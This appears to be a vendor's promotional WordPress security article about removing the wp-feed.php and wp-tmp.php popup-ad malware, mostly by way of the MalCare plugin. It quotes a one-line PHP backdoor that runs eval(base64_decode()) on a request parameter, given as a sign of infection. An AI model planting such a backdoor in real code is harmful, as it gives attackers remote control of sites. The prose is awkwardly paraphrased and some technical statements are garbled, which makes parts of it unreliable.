How to Fix wp-feed.php & wp-tmp.php Malware in WordPress?

What is wp-feed.php & wp-tmp.php? (Symptoms, Reinfections, and Causes)

In a nutshell, WP-Feed is a type of malware that shows websites with malicious ads. The aim is to get your guests to click on the advertisements and redirect them to a website that is malicious.

You’ve got to be thinking—

How did my website get infected?

Typically, the contamination is triggered by the use of null plugins or themes.

Nulled tech is enticing to use because it offers you cost-free bonus features. Most assume the nulled software is spread as an act of benevolence.

Usually, that’s far from the case. Nulled software is spread to allow hackers to quickly obtain access to the site.

Nulled plugins or themes are teeming with malware. You are effectively opening doors for hackers to enter your site when you add a null theme or plugin on your website.

Outdated plugins and themes, in addition to null applications, may also be vulnerable. To get into your site, hackers exploit these vulnerabilities.

They also manipulate weak usernames and passwords like “admin” and “p@ssword.” Weak keys are easy to guess.

A hacker will infer your password and username, and directly inject the wp-feed.php malware into your website.

Why do hackers infect sites with wp-feed.php?

The purpose is to rob your guests and dupe them into purchasing fake services or goods so that money can be created by hackers.

What is also impressive is how they are always able to do this without receiving a single hint from the site creator.

Which gets us to the issue-

Why is it hard to notice the symptoms of this infection?

They implant two files (wp-feed.php & wp-tmp.php) into your wp-includes folder after hackers obtain access to your website.

The wp-includes folder is part of your WordPress heart. The theme of your website is where it is located.

The WP feed file begins infecting other WordPress files that are part of your active theme, especially function.php.

From inside function.php, hackers are able to view malicious popup advertisements on your WordPress website.

However, the very diabolical thing is that only new guests are shown the ads, not repeat visitors. To guarantee that only new guests are shown the advertisements, the malware logs visitors to your site. This is an ingenious method of escaping identification.

Therefore, as a regular visitor to your own website, you would never find any sign of a hack.

How to Clean wp-feed.php Malware?

Two ways to eliminate the infection are available. Those are—

1. Using a plugin (easy)

2. Doing it manually (difficult)

Let’s dive into each method.

Removing WP-Feed.php Malware With a Plugin (easy way)

Any of you may already have your website built with a security plugin. It was actually this plugin that alerted you to the wp-includes/wp-feed.php and wp-includes/wp-tmp.php malicious data.

Most security plugins have facilities for eliminating ransomware, but very few can do it as easily and as reliably as MalCare Security.

In under 60 seconds, MalCare can clean your place. You don’t have to raise a ticket. You don’t have to sit in a queue. You should not have to fork over the keys of your platform to a 3rd party addon.

Not just that, the plugin goes into every nook and cranny above and below, searching for secret malware. It detects every single malicious script on your web that is current.

It uses non-traditional approaches to find malware that is modern and well-hidden. In order to detect malicious intent, it extensively analyzes code behavior. It also serves to ensure that no positive coding is categorized as evil.

In the span of a few minutes, it does all that.

Let’s clear up the MalCare virus with wp-feed.php.

Step 1: On your WordPress website, install and trigger MalCare Safe.

Step 2: Pick MalCare from your dashboard menu. Enter your email address and then press the Safe Site Now tab.

Step 3: You will be asked to enter a password on the next tab, and then to enter your URL.

MalCare will quickly begin searching the website. The goal is to locate any single instance of malicious code on your website that is present.

This ensures that not only the wp-feed.php and wp-tmp.php files can be found, but also the malicious code that infects the WordPress files, including the instances hidden in the function.php file.

You should be assured that any single loophole present on your web will also be identified by the plugin, so as to avoid reinfections.

The plugin will warn you about it until the malicious scripts are detected.

Next, the web needs to be cleaned.

Step 4: What you need to do is click on the Auto-Clean button to delete any single trace of wp-feed.php from your website.

Instantly, MalCare will start cleaning the site.

Manually Remove WP-Feed.php Malware (difficult way)

It is fairly difficult to physically clear the infection, since there are a number of moving parts with this form of infection.

There are two malicious files posted by the hacker, wp-feed.php & wp-tmp.php. To start, you need to delete them. This is probably the only bit that’s simple.
The virus, including the function.php code, is transmitted to other WordPress files. This is complicated and who gets to say where the virus has spread.
It’ll take hours for you to discover the whole malware code.
It is difficult to detect the malicious code since they are well-disguised and look like regular code pieces.
Any documented malicious code may be part of legal plugins, such as “eval(base64 decode)”. In a malicious way, they are not used. Deleting the code would also have an effect on your plugin and could even destroy your web.
There is a reasonably decent risk that bits of code that may lead to re-infections may be skipped.

Manual removal, thus, is not effective at all.

If you do want to do so, though, please make a full backup of your website. If you end up removing something inadvertently and destroying your site, you can easily restore back to normal.

Here’s a list of the best backup services available to select from.

And here’s an article that will help you manually uninstall the malware-hacked WordPress. Only hop to the “How to Manually Clean a Hacked WordPress Site” section.

Now your website is virus free, but it’s far from clean. Hackers will also target and try to infect your web. You need to make sure the site is safe from potential infection. But before we get into that, let’s take a look at the effects of infection with wp-feed.php & wp-tmp.php.

Impact of wp-temp.php Infection with Malware

Needless to mention, the website will have a detrimental effect on the existence of wp-feed.php & wp-tmp.php malware.

The following effects are frequently endured by websites which have been compromised with wp-temp.php:

In the time people spent on your website, you can note a jump in the bounce rate and a decrease.
Popup advertising will make things heavy and very sluggish on your website.
Nobody likes a sluggish website, but before the pages load on the browser, visitors are likely to press the back button. It would have a domino effect.
Search engines are starting to note how easily users quit your site. They would infer that what consumers are looking for, you do not deliver. The rating of your search engine will decline.
This ensures that all the effort, time, and resources you may have expended in the SERPs to rank higher is lost.
Hacked websites are blacklisted by Google and hosting companies suspend them. Also, if the compromised pages run Google advertising, the account for adwords would be revoked. Both of which will lead to more immersion in traffic.
In comparison, if you can not choose the correct instruments, compromised websites must be cleaned, which may be a costly affair.

The good news is, you know your site has been compromised. You should, however, clean it and avoid the effects.

How to Protect Your Site From wp-feed.php Malware in the Future?

Many of our readers may have attempted to delete from their websites the wp-feed.php malware, only to find that the malware keeps returning.

This arises because your site has a backdoor installed. Many backdoors are incredibly well disguised, so much so that they can be passed over as legal code by novice hackers.

We explained in a previous segment that hackers inject two files into your website code, wp-feed.php & wp-tmp.php. A file named wp-tmp.php serves as a backdoor. You can see a script that looks something like this if you open the file,

$p = $REQUEST$#91;”m”&#93;; eval(base64_decode ($p));

The good news is that you can defend your site from potential hack attempts by taking the following steps –

Delete Nulled Software & Stop Using Them

If a nullified plugin or theme is used on your website, delete it immediately.

Hackers obtained access to your site using nulled codes in the first place. If you don’t delete null apps, hackers will find their way into your site and implant malware, no matter how much you clean your site.

If you have given your users permission to install plugins and themes, make sure the null program is never used.

It is actually easier to work, with the aid of MalCare, to avoid the installation of plugins and themes entirely.

Login into MalCare’s dashboard, pick your website, press Apply Hardening, and allow Block Plugin/Theme Installation is all you need to do.

Harden Your Site Security

Through modifying file permissions, you can discourage hackers from implanting malicious files like wp-feed.php into your WordPress directories.

File permissions are a series of laws that specify who is allowed to access which files. Users will be blocked from making changes to the wp-includes list.

By disabling the file editor, you will also block hackers from altering your theme. This would eliminate pop-up advertisements on the website from being injected by them. It can be handled manually, but it’s unsafe and not recommended.

If you already have MalCare enabled on your site, all you need to do is press the file editor button to delete it.

Keep Your Website Updated

WordPress plugins and themes create bugs much like every other program. They easily build a fix as developers hear of this flaw and release it in the form of an update.

It places the site at risk if there is any delay in introducing changes.

Hackers are excellent at bugs being abused. In fact, they are still searching for insecure websites so that they can use them to obtain access to the website and inject it with malware.

Enforce The Use of Strong Credentials

Your login page is the best way to obtain access to your site.

The hacker just has to guess the account passwords successfully. In reality, they build bots that can test out hundreds of variations of usernames and passwords within a few minutes. If you or any of your coworkers use easy-to-guess passwords such as “admin” and “password123,” it would take 2 seconds for the bots to hack your website. This is considered an assault by brute force.

It’s important to ensure that unique usernames and secure passwords are used by any user on your website.

To secure your login tab, you can also go beyond this and enforce many steps. We also assembled a list of security precautions for WordPress logins that you should take.

Using a Firewall

Wouldn’t it be awesome if, in the first place, you could deter hackers from even landing on your website?

A firewall is just the instrument that you need.

This examines the traffic that needs to get access to your website. If it discovers that a malicious IP address originates from the traffic, the firewall blocks the traffic promptly.

It filters out hackers and bots in this way.

Here is a list of the best WordPress firewalls on your site that you can activate.

If you are using MalCare, though, then you still have a firewall on your site enabled.